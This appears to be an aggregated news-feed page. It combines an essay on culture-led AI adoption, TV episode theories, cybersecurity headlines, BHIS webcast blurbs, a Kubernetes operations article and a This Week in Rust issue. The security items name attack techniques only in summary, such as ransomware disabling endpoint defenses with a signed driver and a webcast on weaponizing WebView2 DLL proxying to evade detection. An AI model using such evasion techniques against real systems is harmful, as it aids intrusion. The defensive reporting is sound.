Technology is evolving at a relentless pace. Headlines proclaim the latest AI breakthroughs and generative models that promise to transform the way we work. Yet, when I sit down with leaders across industries, the conversation quickly shifts. The real questions are not about models, algorithms, or shiny tech investments; they’re about people. How do we equip our teams to thrive amid disruption – not just survive it? What practical steps move us from mere digitisation to lasting transformation?

These are the questions at the heart of a recent episode in our Decoding Business Transformation series. I had the pleasure of hosting Dr Sean Gallagher, founder of Humanova and one of Australia’s foremost voices on the future of work. The insights and recommendations below are drawn directly from that conversation, and I believe every boardroom should confront them head-on: In the era of agentic AI, culture will determine winners, not code.

The fancy tech is table stakes. People are the differentiator.

Let’s debunk a persistent myth: successful AI adoption is not a technology problem – it’s a talent and culture challenge.

Recent BCG research shows that high-performing AI leaders invest 70% of their resources into people and processes, with just 10% going to the algorithms themselves. Real value emerges when we empower individuals at every level – equipping them with the mindset, capabilities, and (crucially) the psychological safety to experiment with and apply new technologies.

As Dr Gallagher put it: “AI is a talent strategy, not just a technology play.” Transformation begins not with a new tool, but with a fundamental reimagining of how we nurture, develop, and inspire our people to explore, experiment, and adapt.

Why most AI projects fail: Ignoring the human element

Here’s a sobering truth, surfaced by Deloitte a decade ago: humans adapt to exponential technologies much faster than organisations do. The mistake? Leaders try to “bolt on” AI to outdated processes – putting a rocket on a jalopy, so to speak.

True transformation happens when we flip the script: empower employees first, technology second.

Frameworks such as the “Work Value Pyramid” can help organisations focus on shifting time away from repetitive administrative work and towards creativity, problem-solving, and strategic innovation. In practice, this means:

Resisting knee-jerk reductions in headcount. Your people’s tacit knowledge is invaluable capital.
Rewiring incentives and KPIs to reward learning, experimentation, and sharing.
Destigmatising “shadow AI” use. Bring your secret AI champions into the open, empower them as peer teachers, and build psychological safety for everyone to explore.

Flatten the org; Redesign the work

The blueprint for winning in the AI age is taking shape: Flatter, Faster, Fitter, Fewer.

Flatter: Remove unnecessary hierarchy. Push decision-making to the edges of the organisation.
Faster: AI is about more than simply doing things; it’s about doing them at the speed the market now demands.
Fitter: Build nimble, AI-literate teams who treat AI as a digital colleague – not a threat.
Fewer: Growth is not about increasing headcount; it’s about unlocking higher-value work for everyone.

Above all, resist the temptation to simply automate legacy processes. As McKinsey put it, “the fundamental redesign of workflows is the largest factor correlated with real impact.” Start with people and how work creates value – then let AI accelerate, not dictate, those improvements.

Measurement: Macro, not micro

Most companies focus on the wrong metrics: time saved per prompt, or “AI-powered” process widgets. That’s missing the point.

Instead, focus on:

Business-wide impact: Are you accelerating time-to-market? Opening new revenue streams? Raising the innovation bar?
Learning culture: Are teams sharing use cases and lessons? Is experimentation a norm?
Accountability KPIs: Prioritise experimentation, collaboration, and demonstrated learning over mere output.

In closing: The real transformation is human

If there’s one message from my conversation with Dr Gallagher, and from everything I’ve seen working with the world’s most ambitious brands, it’s this:

Invest deeply in your people – early, intentionally, and continuously.
Amplify the learning and experiments of your early adopters.
Model the behaviour you seek, starting with leadership.
Redefine productivity around effectiveness and innovation – not just efficiency.

Generative AI, and the new breed of AI “agents”, are rapidly becoming our digital colleagues. But only human curiosity, courage, and culture can unlock their full value. In this era, the ultimate competitive advantage is not code. It’s culture.

To learn more about Twilio, visit here.

Cape Fear Episode 7 Sparks Wild Theories About Max Cady’s Children

Mon, 13 Jul 2026 09:23:42 +0200

Warning: Major spoilers for Cape Fear Episode 7. Episode 7 of Cape Fear has sparked one of the biggest debates of the season after suggesting that Natalie could be Max Cady's daughter. The twist has left viewers questioning almost every relationship in the show, while many believe Max is simply playing another psychological game. Is Natalie Really Max Cady's Daughter? The latest episode appears to confirm that Natalie may be Max's biological daughter after he gives her a beard hair for a DNA test. If that turns out to be true, it would also make her Nevaeh's half-sister, creating an uncomfortable layer to their earlier relationship. However, many fans are not buying the reveal. Across Reddit, viewers argue that Max has spent the entire season manipulating vulnerable people. Some believe he has been using emotional pressure, drugs, and carefully planned lies to convince both Natalie and Zack that he is their father. Others think the DNA sample is simply another part of his plan, either because Natalie will never complete the test or because the results will arrive too late to stop him. That theory also fits Max's actions later in the episode. If he genuinely believed Natalie was his daughter, many viewers question why he would frame her for Ray Rawlins' murder and put her directly in danger. Fans Are More Confused Than Ever The family tree has become one of the biggest talking points online. Some fans are convinced everyone somehow ends up connected to Max, while others think the writers are deliberately encouraging that confusion before revealing another twist. Reddit discussions are filled with theories ranging from fake paternity claims to psychological manipulation rather than actual biological relationships. Many viewers expect the show to reveal that Max has been exploiting Natalie's search for answers instead of telling her the truth. Javier Bardem Keeps Winning Fans Despite the increasingly wild storyline, one thing viewers almost universally agree on is Javier Bardem's performance. His version of Max Cady remains the strongest part of the series, with many fans admitting they have started rooting for him because he consistently outsmarts the Bowden family. Even viewers frustrated by the plot twists continue to watch largely because of Bardem's performance and the story's unpredictable direction. Episode 7 Also Drew Criticism While the paternity reveal dominated the discussion, viewers also pointed out several questionable moments. Some criticized the characters for making unbelievable decisions, while others noticed a dialogue mistake in which a therapist uses "exasperated" instead of "exacerbated." Although it is a minor detail, fans questioned how the error remained in the finished episode. Viewers Are Still Watching Even with growing criticism, Cape Fear continues to keep audiences engaged. Episode 7 has turned nearly every major relationship into a mystery, and fans are still debating whether Max is revealing long hidden truths or creating another elaborate deception. With several episodes still remaining, the biggest question has not changed. Is Max Cady finally telling the truth, or is this simply his most convincing lie yet?

iCagenda and Balbooa Forms Joomla Flaws Reportedly Exploited as Zero-Days

Mon, 13 Jul 2026 09:07:55 +0200

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added two maximum-severity security flaws impacting iCagenda and Balbooa extensions for Joomla to its Known Exploited Vulnerabilities (KEV) catalog, following reports of zero-day exploitation in the wild. The vulnerabilities, both rated 10.0 on the CVSS scoring system, are below - CVE-2026-48939 - A vulnerability in the

iCagenda and Balbooa Forms Joomla Flaws Reportedly Exploited as Zero-Days

Mon, 13 Jul 2026 09:07:45 +0200

The post iCagenda and Balbooa Forms Joomla Flaws Reportedly Exploited as Zero-Days appeared first on IT Security News.

I helped drive this record-setting EV across Britain on sunshine alone — and the 870-mile trip cost absolutely nothing

Sun, 12 Jul 2026 13:03:16 +0200

For the first time, a production EV has driven the 870 miles from Land's End to John o'Groats on solar energy alone, without taking a single unit from the grid. I went along for a wild ride that was absolutely free.

AI Turned Everyone Into a Developer — Now Security Has to Catch Up | BHIS In Focus

Sat, 11 Jul 2026 16:18:30 +0200

Author: Black Hills Information Security - Bewertung: 0x - Views:4

What happens when a company goes from having no developers to nearly 100 people building apps with AI?

In this BHIS In Focus short, we look at the new reality security teams are facing: employees with little or no coding experience are now using AI to create internal tools, workflows, and applications at speed.

That opens up incredible possibilities — but it also creates a major security challenge. If someone can build an app without knowing what language it was written in, security teams need new ways to assess, review, and manage AI-generated software.

#BHISInFocus #AISecurity #Cybersecurity #AIApps #InfoSec #SecureCoding

/// 🔗 Register for webcasts, summits, and workshops -
https://poweredbybhis.com

///Black Hills Infosec Socials
Twitter: https://twitter.com/BHinfoSecurity
Mastodon: https://infosec.exchange/@blackhillsinfosec
LinkedIn: https://www.linkedin.com/company/antisyphon-training
Discord: https://discord.gg/ffzdt3WUDe

///Black Hills Infosec Shirts & Hoodies
https://spearphish-general-store.myshopify.com/collections/bhis-shirt-collections

///Black Hills Infosec Services
Active SOC: https://www.blackhillsinfosec.com/services/active-soc/
Penetration Testing: https://www.blackhillsinfosec.com/services/
Incident Response: https://www.blackhillsinfosec.com/services/incident-response/

///Backdoors & Breaches - Incident Response Card Game
Backdoors & Breaches: https://www.backdoorsandbreaches.com/
Play B&B Online: https://play.backdoorsandbreaches.com/

///Antisyphon Training
Pay What You Can: https://www.antisyphontraining.com/pay-what-you-can/
Live Training: https://www.antisyphontraining.com/course-catalog/
On Demand Training: https://www.antisyphontraining.com/on-demand-course-catalog/
Antisyphon Discord: https://discord.gg/antisyphon
Antisyphon Mastodon: https://infosec.exchange/@Antisy_Training

///Educational Infosec Content
Black Hills Infosec Blogs: https://www.blackhillsinfosec.com/blog/
Wild West Hackin' Fest YouTube: https://www.youtube.com/wildwesthackinfest
Antisyphon Training YouTube: https://www.youtube.com/antisyphontraining
Active Countermeasures YouTube: https://youtube.com/activecountermeasures
Threat Hunter Community Discord: https://discord.gg/threathunter

Join us at the annual information security conference in Deadwood, SD (in-person and virtually) — Wild West Hackin' Fest: https://wildwesthackinfest.com/

Proxy Execution with Microsoft Edge WebView2 - Matthew Eidelberg

Fri, 10 Jul 2026 23:17:16 +0200

Author: Black Hills Information Security - Bewertung: 1x - Views:6

How do sideloading techniques work in today’s runtime environment?

Join us for a free one-hour BHIS webcast with Matthew Eidelberg on proxy execution via Microsoft Edge WebView2.

Matthew will break down techniques that blur the line between legitimate app behavior and malicious activity, showing how shared runtime components are changing execution and detection boundaries.

You’ll learn how traditional sideloading concepts apply in modern environments, how WebView2 is increasingly embedded across the ecosystem, and how attackers can exploit it to bypass common detection methods.

🛝 Webcast Slides
https://www.blackhillsinfosec.com/wp-content/uploads/2026/04/Proxy-Execution-with-Microsoft-Edge-Webview2.pdf

Chapters
00:00 - Intro - Proxy Execution with Microsoft Edge WebView2 - Matthew Eidelberg
00:49 - Agenda
01:31 - DLL Hijacking
04:48 - DLL Proxy Attacks
06:05 - Execution Flow
07:17 - Windows Apps
12:05 - What is WebView2?
13:21 - Webview Security Issue
16:42 - Domain_action.dll
20:01 - Weaponizing the Flaw
22:38 - Tooling - FaceDancer
24:11 - FaceDancer - Usage
25:32 - FaceDancer - Examples
27:06 - FaceDancer - Common Questions
30:00 - FaceDancer - Caveats
30:44 - Microsoft's Response Timeline
34:04 - Microsoft's Disclosure Process
36:29 - Defensive View
38:37 - Wrap Up
39:49 - Q&A

Chat with your fellow attendees in the BHIS Discord server:
https://discord.gg/bhis ( https://discord.gg/bhis )
in the #🔴live-event-chat channel

🔗 Register for FREE Infosec Webcasts, Anti-casts & Summits –
https://poweredbybhis.com

Brought to you by:Black Hills Information Security
https://www.blackhillsinfosec.com

☯️ Introducing BHIS Fusion Penetration Testing
https://www.blackhillsinfosec.com/fusion-penetration-testing/

Antisyphon Training
https://www.antisyphontraining.com

Active Countermeasures
https://www.activecountermeasures.com

Wild West Hackin Fest
https://wildwesthackinfest.com

BHIS Webcasts
Episode 10
July 10, 2026

★ Episode details: https://share.transistor.fm/s/baffa913

★ Additional episodes: https://bhispodcasts-webcasts.transistor.fm

Apple emerges as the ultimate defensive play in an AI-driven market

Fri, 10 Jul 2026 20:53:35 +0200

While many Big Tech peers chase high-risk AI growth, Apple stands out for its stability and resilience. The company is projected to grow…

The post Apple emerges as the ultimate defensive play in an AI-driven market appeared first on MacDailyNews.

If Samsung Discontinues Galaxy Z Flip Line, That Sucks

Fri, 10 Jul 2026 18:33:30 +0200

We now count three separate online tipsters who claim Galaxy Z Flip 8 could be the last Z Flip foldable we see from Samsung. Discontinuation of the line would actually come as a surprise, as it’s one of the foldables we see out in the wild quite often. No reasoning for the line’s discontinuation is...

Read the original post: If Samsung Discontinues Galaxy Z Flip Line, That Sucks

Patching Alone Won’t Save You Anymore | BHIS In Focus

Fri, 10 Jul 2026 16:18:26 +0200

Author: Black Hills Information Security - Bewertung: 0x - Views:3

The traditional security playbook — firewall, patch, reconfigure, repeat — is not enough for what’s coming next.

In this BHIS In Focus short, we look at why security teams need to prepare for a world where vulnerabilities move faster than patches, exploits may arrive before fixes, and compensating controls become a core survival skill.

The takeaway: don’t panic, but get ready. The teams that can adapt before a patch exists will be in a much stronger position.

#BHISInFocus #Cybersecurity #AISecurity #InfoSec #VulnerabilityManagement #CompensatingControls

/// 🔗 Register for webcasts, summits, and workshops -
https://poweredbybhis.com

///Black Hills Infosec Socials
Twitter: https://twitter.com/BHinfoSecurity
Mastodon: https://infosec.exchange/@blackhillsinfosec
LinkedIn: https://www.linkedin.com/company/antisyphon-training
Discord: https://discord.gg/ffzdt3WUDe

///Black Hills Infosec Shirts & Hoodies
https://spearphish-general-store.myshopify.com/collections/bhis-shirt-collections

///Black Hills Infosec Services
Active SOC: https://www.blackhillsinfosec.com/services/active-soc/
Penetration Testing: https://www.blackhillsinfosec.com/services/
Incident Response: https://www.blackhillsinfosec.com/services/incident-response/

///Backdoors & Breaches - Incident Response Card Game
Backdoors & Breaches: https://www.backdoorsandbreaches.com/
Play B&B Online: https://play.backdoorsandbreaches.com/

///Antisyphon Training
Pay What You Can: https://www.antisyphontraining.com/pay-what-you-can/
Live Training: https://www.antisyphontraining.com/course-catalog/
On Demand Training: https://www.antisyphontraining.com/on-demand-course-catalog/
Antisyphon Discord: https://discord.gg/antisyphon
Antisyphon Mastodon: https://infosec.exchange/@Antisy_Training

///Educational Infosec Content
Black Hills Infosec Blogs: https://www.blackhillsinfosec.com/blog/
Wild West Hackin' Fest YouTube: https://www.youtube.com/wildwesthackinfest
Antisyphon Training YouTube: https://www.youtube.com/antisyphontraining
Active Countermeasures YouTube: https://youtube.com/activecountermeasures
Threat Hunter Community Discord: https://discord.gg/threathunter

Join us at the annual information security conference in Deadwood, SD (in-person and virtually) — Wild West Hackin' Fest: https://wildwesthackinfest.com/

This malicious Google Notes extension just wants to sneakily steal all your crypto

Fri, 10 Jul 2026 13:03:05 +0200

Another clipboard jacker was found in the wild, on the prowl for people's crypto.

Django SQL Injection Vulnerability Actively Exploited in the Wild

Fri, 10 Jul 2026 12:08:43 +0200

A high-severity SQL injection vulnerability in the Django web framework is now being actively exploited in real-world attacks, raising concerns for organizations running geospatial applications on PostGIS-backed deployments. The flaw, tracked as CVE-2026-1207, affects Django’s GIS module and has been…

The post Django SQL Injection Vulnerability Actively Exploited in the Wild appeared first on IT Security News.

Django SQL Injection Vulnerability Actively Exploited in the Wild

Fri, 10 Jul 2026 10:37:23 +0200

The post Django SQL Injection Vulnerability Actively Exploited in the Wild appeared first on Cyber Security News.

BHIS - Talkin' Bout [infosec] News 2026-07-13

Thu, 09 Jul 2026 23:17:48 +0200

Author: Black Hills Information Security - Bewertung: 0x - Views:0

GodDamn Ransomware Uses PoisonX to Blind Security Software

Thu, 09 Jul 2026 21:37:01 +0200

GodDamn ransomware uses the signed PoisonX driver to disable security tools, marking a more advanced version of the Beast ransomware family. Symantec’s Threat Hunter Team found a new ransomware family called GodDamn that first appeared in the wild on May…

The post GodDamn Ransomware Uses PoisonX to Blind Security Software appeared first on IT Security News.

GodDamn Ransomware Uses PoisonX to Blind Security Software

Thu, 09 Jul 2026 21:07:21 +0200

New Helix vishing group emerges in SharePoint data theft attacks

Thu, 09 Jul 2026 19:23:18 +0200

A new data-extortion group called Helix is using identity-focused tactics such as voice phishing (vishing), device code phishing, and multi-factor authentication (MFA) abuse to steal data from SharePoint environments. [...]

The AI Model Matters — But the Harness Matters More | BHIS In Focus

Thu, 09 Jul 2026 16:18:32 +0200

Author: Black Hills Information Security - Bewertung: 0x - Views:4

Is the most powerful AI model always the best choice for cybersecurity work?

In this BHIS In Focus short, we look at the difference between high-end closed models and cheaper open-weight models — and why the real advantage may come from the harness, workflow, and tooling around the model, not just the model itself.

The takeaway: capability matters, but cost, access, and practical implementation may matter just as much.

#BHISInFocus #AISecurity #Cybersecurity #OpenWeightAI #InfoSec #AIModels

/// 🔗 Register for webcasts, summits, and workshops -
https://poweredbybhis.com

///Black Hills Infosec Socials
Twitter: https://twitter.com/BHinfoSecurity
Mastodon: https://infosec.exchange/@blackhillsinfosec
LinkedIn: https://www.linkedin.com/company/antisyphon-training
Discord: https://discord.gg/ffzdt3WUDe

///Black Hills Infosec Shirts & Hoodies
https://spearphish-general-store.myshopify.com/collections/bhis-shirt-collections

///Black Hills Infosec Services
Active SOC: https://www.blackhillsinfosec.com/services/active-soc/
Penetration Testing: https://www.blackhillsinfosec.com/services/
Incident Response: https://www.blackhillsinfosec.com/services/incident-response/

///Backdoors & Breaches - Incident Response Card Game
Backdoors & Breaches: https://www.backdoorsandbreaches.com/
Play B&B Online: https://play.backdoorsandbreaches.com/

///Antisyphon Training
Pay What You Can: https://www.antisyphontraining.com/pay-what-you-can/
Live Training: https://www.antisyphontraining.com/course-catalog/
On Demand Training: https://www.antisyphontraining.com/on-demand-course-catalog/
Antisyphon Discord: https://discord.gg/antisyphon
Antisyphon Mastodon: https://infosec.exchange/@Antisy_Training

///Educational Infosec Content
Black Hills Infosec Blogs: https://www.blackhillsinfosec.com/blog/
Wild West Hackin' Fest YouTube: https://www.youtube.com/wildwesthackinfest
Antisyphon Training YouTube: https://www.youtube.com/antisyphontraining
Active Countermeasures YouTube: https://youtube.com/activecountermeasures
Threat Hunter Community Discord: https://discord.gg/threathunter

Join us at the annual information security conference in Deadwood, SD (in-person and virtually) — Wild West Hackin' Fest: https://wildwesthackinfest.com/

A New Ransomware Leader Emerges as June 2026 Attack Volumes Climb Worldwide

Thu, 09 Jul 2026 15:38:27 +0200

The post A New Ransomware Leader Emerges as June 2026 Attack Volumes Climb Worldwide appeared first on IT Security News.

A New Ransomware Leader Emerges as June 2026 Attack Volumes Climb Worldwide

Thu, 09 Jul 2026 15:24:04 +0200

Key takeaways Weekly cyber-attacks per organization reached 2,270 in June 2026, up 10% from May and 17% higher than June 2025 Education, Government, and Telecommunications again sat at the top of the industry list, with Education and Telecommunications posting double-digit gains while Government rose 5% year over year Most regions grew year over year, led by Latin America at a 27% increase, while Africa was the exception with a 9% decline GenAI exposure held roughly steady, though Healthcare and Telecommunications emerged as the industries carrying the most risk from unsafe prompts Ransomware attacks reached 646 for the month, a 33% […]

The post A New Ransomware Leader Emerges as June 2026 Attack Volumes Climb Worldwide appeared first on Check Point Blog.

GodDamn Ransomware Uses PoisonX Driver to Disable Endpoint Defenses

Thu, 09 Jul 2026 13:52:46 +0200

Cybersecurity researchers have flagged a new ransomware family called GodDamn that employs the PoisonX kernel driver to neutralize security software as part of its defense evasion strategy. According to a new report published by the Threat Hunter Team from Symantec, the ransomware was first publicly spotted in the wild on May 21, 2026. It's assessed to be a rebrand of the Beast ransomware,

Lego-Set für unter 21 Euro wird auf Amazon wie wild gekauft – der Grund ist schnell klar

Thu, 09 Jul 2026 12:32:10 +0200

Ein tolles Set für alle Fußballfans ist auf Amazon im Preis reduziert.

Practical challenges in managing Kubernetes at enterprise scale

Thu, 09 Jul 2026 11:03:31 +0200

The first time I used Kubernetes in an enterprise setting, I understood the hype. It gives every team the same way to package, deploy and run their apps. No more custom scripts or unique deployment hacks, just one control plane to rule them all. And really, that’s why it’s so popular with big companies: Kubernetes is an open-source system for automating deployment, scaling and management of containerized applications. It says so right on the box, and that’s what people want. But here’s the truth: Kubernetes doesn’t erase operational headaches. It just moves them around.

When your Kubernetes install is small, it feels like rocket fuel for engineers. At enterprise scale, though, suddenly it’s about governance, not just engineering. The game is no longer “Can we get this container running?” It’s “How do hundreds of engineers roll out their stuff safely, consistently, securely and without breaking the bank or burning out the platform team?”

This is where the fun really starts.

YAML isn’t the enemy

Folks new to Kubernetes obsesses over manifests, Helm charts, namespaces, ingress rules, deployments, all that stuff. But they’re not the hardest part once you start scaling. The real beast is standardization.

Every big company I’ve seen ends up with teams going their own way. One group writes beautiful deployment templates. Someone else copies and pastes from a two-year-old manifest. Some folks set resource requirements properly. Others skip them entirely. One team sticks to a strong naming convention, and someone else throws together random namespaces and service accounts that make sense only to them. Individually, this more or less works. At scale, when the whole platform has to operate like one system, it’s a mess.

That’s why I’ll say it: you don’t just need a Kubernetes cluster. You need a paved road. This would involve ensuring that there are approved templates, good deployment patterns, observability, security controls as defaults, good issue escalation processes and accountability.

There is no need for developers to be Kubernetes experts just to release their services. The best enterprise Kubernetes setups work like real products. They let application teams self-serve but never let anyone veer off road without good reason.

RBAC: necessary, but never enough

Security is paramount. Kubernetes supports role-based access control (RBAC), so on paper you can control who does what. In practice, in a big company, RBAC gets confusing fast.

The issue isn’t that engineers ignore security. It’s that permissions grow over time. You need a quick fix during an incident, so you give a service account more access. Maybe a team needs cluster-wide rights for a migration. That “just for now” permission sticks around because no one cleans it up. Month by month, the gap widens between what a workload should do and what it’s actually allowed to do. The only thing that works long-term: treat RBAC as a living thing, not a one-time checklist. Review it. Test it. Stick to least privilege. Service accounts get only what they need. Cluster-admin rights? Rare. Expiring exceptions. Set permissions as code so changes aren’t invisible.

Same story with workload security. Kubernetes brings you Pod Security Standards. There is baseline, restricted and privileged profiles, so everyone speaks the same language. But simply setting a standard isn’t enough. We’d also need things like admission controls, image scanning, runtime monitoring and audit trails.

Honestly, the NSA/CISA Kubernetes Hardening Guidance is still gold. Scan containers and pods. Run workloads as locked down as possible. Use strong authentication. Separate networks. Set up solid logging. These ideas sound obvious until you see what happens when your organization scales without good ops.

Network policies: where “it should work” meets reality

Kubernetes networking can trip up even the best teams. Engineers often think different namespaces mean automatic isolation between apps. Not true.

Kubernetes network policies decide which pods can talk to which, but the policies only matter if your networking plugin actually enforces them. I’ve seen a lot of teams write network controls that look great in YAML but don’t work, because the underlying network just ignores them. Security validation beats documentation every time. If two namespaces shouldn’t talk, test it. If a workload only needs access to a specific backend, check it. If only specific ingress is allowed, make sure nothing else gets through.

At scale, your Kubernetes security has to prove itself. “We have a policy” means nothing unless the platform can show the policy actually works.

Resource management becomes all about money

One of the biggest challenge is resource allocation. Kubernetes lets you set CPU and memory limits, and sure, there are official docs. But getting these numbers right is tough.

Set them too low, and your workload might get throttled or evicted under load. Set them too high, and you’re paying for unused infrastructure. That barely registers on a small cluster, but when you’re running thousands of pods? That’s cloud bills gone wild.

This is where Kubernetes ops and FinOps meet. Platform teams have to know who’s burning through which resources, what’s over-provisioned or flying blind, and where the real money goes. ResourceQuota helps keep things in check, but quotas alone don’t hold people accountable.

The culture shift is moving from “the cluster has spare capacity” to “every service has an owner, a cost profile and a plan for staying lean.” Teams should understand their infrastructure bill. Platform teams need dashboards that point out waste. Engineering leaders need to care about efficiency, not just hear from finance when things go off the rails.

Autoscaling isn’t a magic trick

The Horizontal Pod Autoscaler is handy. It adjusts your workloads automatically to match demand. But don’t overestimate it. Most real-world services don’t scale simply by CPU or memory. Sometimes a service hits latency limits before CPU usage spikes. Workers chewing through queues? You care more about backlog size. Machine learning? Maybe it’s all about GPU use or loading time. Customer-facing apps? You want to be scaled up before traffic hits, not scramble after users start complaining.

So autoscaling isn’t just a box you check. It’s a feedback loop, and it only works if you use the right signals. Sometimes CPU is enough. Sometimes you need to scale on queue length, request rate, latency or something totally custom.

Then there’s node autoscaling to provision infrastructure in response to demand. On paper, it just works. In real life, it runs into startup delays, availability zones, quotas, cloud provider quirks and pod disruption budgets. Scale pods faster than nodes? Users still see delays.

Test autoscaling like you test your app. Load-test it, break it, see what happens after an incident. Otherwise, you’ll find the limits when it hurts most.

Observability doesn’t matter unless it answers questions

Kubernetes has mountains of data. Things like logs, metrics, traces, events, audits, deployment history, container restarts, control plane noise, you name it. The real challenge isn’t collecting info, but actually it’s making sense of it. The CNCF and others have best practices for logging and telemetry, like centralizing logs and not leaking secrets. Those matter, but at the end of the day, engineers need answers, not just data. When something breaks, no one’s asking, “Is Kubernetes alive?” They want to know what changed. Did something roll out? Did a pod crash? Did autoscaling fire too late? Was a node unhealthy, a secret rotated, a network policy too tight, a downstream DB choking?

Observability should line up with real operational questions and not just ticking boxes for logs, or metrics. Dashboards need to match service ownership. Alerts need to mean something to end users. Telemetry should connect to deployments and incidents. Measure how quickly engineers spot the root cause, not just that you have the data somewhere.

CNCF talks about newer models of unified telemetry and proactive troubleshooting for a reason. All the dashboards in the world don’t help when your team has to play detective during an outage.

Upgrades: Don’t wing it

Kubernetes upgrades catch people out. The CNCF Maturity Model says: Kubernetes drops three big releases a year, so maintenance is part of life—not a once-in-a-blue-moon project.

Upgrading at enterprise scale can involve everything: workloads, admission controllers, CI/CD, service mesh, ingress, storage drivers, monitoring, security, custom controllers. Version skew policies keep you between the lines, but that’s just the beginning. The real question is: can you test your whole stack?

Good upgrade programs need a repeatable process, staging environments that actually look like production, and clear communication so teams know what to expect. The worst upgrade process is the one that relies on heroes to pull it off at the last second. A strong platform turns upgrades into routine.

Reliability: Kubernetes helps, but it doesn’t guarantee it

Yes, Kubernetes restarts crashed containers, reschedules pods and does rolling deployments. But it doesn’t make a bad app reliable.

A poorly coded app will fail on Kubernetes just like anywhere else. Bad readiness or liveness probes? Your app gets traffic too soon. No graceful shutdown? Requests drop during deploy. Forgot pod disruption budgets? The app goes down during node maintenance. A flaky dependency? It will cascade through your services even if all your pods look healthy.

The mature approach is setting service-level objectives and making reliability a product of both platform and engineering. Cluster health isn’t user experience. That green status page can hide a lot of pain.

The platform team is a product team

Here’s the biggest lesson I’ve picked up is that running Kubernetes at enterprise scale isn’t really about the tech. One cluster? Maybe one expert can handle that. But for a full enterprise platform, you need a product mindset. The platform team serves customers such as engineers, security, compliance, finance and business. Everyone wants something a bit different.

Developers want speed and reliability. Security wants oversight. Finance wants transparency. Compliance wants proof. Ops wants predictability. The business wants all of those.

The platform team has to pull those threads together with APIs, docs, dashboards, paved roads, support and feedback. That also means saying “no” to the unique snowflake patterns that create chaos later. Kubernetes is powerful. But it doesn’t replace organizational discipline. That’s still on the shoulders of engineering leaders. The real challenge at enterprise scale isn’t memorizing every API object. It’s building a system where any team can ship safely without needing to be Kubernetes experts themselves.

When you reach that point, Kubernetes stops being just a cluster. It becomes your platform.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

This Week In Rust: This Week in Rust 659

Thu, 09 Jul 2026 07:08:34 +0200

Hello and welcome to another issue of This Week in Rust! Rust is a programming language empowering everyone to build reliable and efficient software. This is a weekly summary of its progress and community. Want something mentioned? Tag us at @thisweekinrust.bsky.social on Bluesky or @ThisWeekinRust on mastodon.social, or send us a pull request. Want to get involved? We love contributions.

This Week in Rust is openly developed on GitHub and archives can be viewed at this-week-in-rust.org. If you find any errors in this week's issue, please submit a PR.

Want TWIR in your inbox? Subscribe here.

Updates from Rust Community

Official

Newsletters

The Embedded Rustacean Issue #75

Project/Tooling Updates

Observations/Thoughts

Rust Walkthroughs

Miscellaneous

Clickable euler diagram of all the Rust week talks

Crate of the Week

This week's crate is apis-saltans, a Zigbee implementation including a coordinator API.

Thanks to Richard Neumann for the self-suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

* Protocol - Extend bit-exactness tests to f64 reconstruction targets
* Dofigen - No image tag replacement flag for the generate command

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

598 pull requests were merged in the last week

Compiler

Library

Cargo

Rustdoc

Clippy

Rust-Analyzer

Rust Compiler Performance Triage

This week was dominated by wild swings in benchmarks of the new-solver, which is not enabled by default, yet. Apart from that, we got a very few notable changes, only one unexpected speedup from a bugfix in rustdoc.

Triage done by @panstromek. Revision range: 7dc2c162..3659db0d

Summary:

(instructions:u)	mean	range	count
Regressions ❌ (primary)	0.2%	[0.2%, 0.2%]	3
Regressions ❌ (secondary)	162.1%	[0.2%, 1116.3%]	20
Improvements ✅ (primary)	-1.4%	[-8.4%, -0.1%]	7
Improvements ✅ (secondary)	-1.1%	[-8.4%, -0.1%]	11
All ❌✅ (primary)	-0.9%	[-8.4%, 0.2%]	10

1 Regression, 1 Improvement, 4 Mixed; 3 of them in rollups 17 artifact comparisons made in total

Full report here

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

No RFCs were approved this week.

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

Rust

Compiler Team (MCPs only)

Language Reference

Empty repr(Rust) enums are ZSTs

No Items entered Final Comment Period this week for Cargo, Language Team, Leadership Council, Rust RFCs or Unsafe Code Guidelines.

New and Updated RFCs

Upcoming Events

Rusty Events between 2026-07-08 - 2026-08-05 🦀

Virtual

2026-07-08 | Virtual (Cardiff, GB) | Rust and C++ Cardiff
Operating Systems Book Club: Introduction + Processes
2026-07-08 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session
2026-07-09 | Virtual (Nürnberg, DE) | Rust Nuremberg
Rust Nürnberg online
2026-07-14 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
Second Tuesday
2026-07-15 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session
2026-07-15 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
Jiff
2026-07-16 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
July, 2026 SRUG (Seattle Rust User Group) Meetup
2026-07-16 | Virtual (Berlin, DE) | Rust Berlin
Rust Hack and Learn
2026-07-19 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
Rust Deep Learning: Third Sunday
2026-07-21 | Virtual (London, UK) | Women in Rust
Lunch & Learn: Learning Rust as First Programming Language
2026-07-21 | Virtual (Washington, DC, US) | Rust DC
Mid-month Rustful
2026-07-22 | Virtual (Girona, ES) | Rust Girona
Sessió setmanal de codificació / Weekly coding session
2026-07-28 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
Fourth Tuesday
2026-07-29 | Virtual (Girona, ES) | Rust Girona
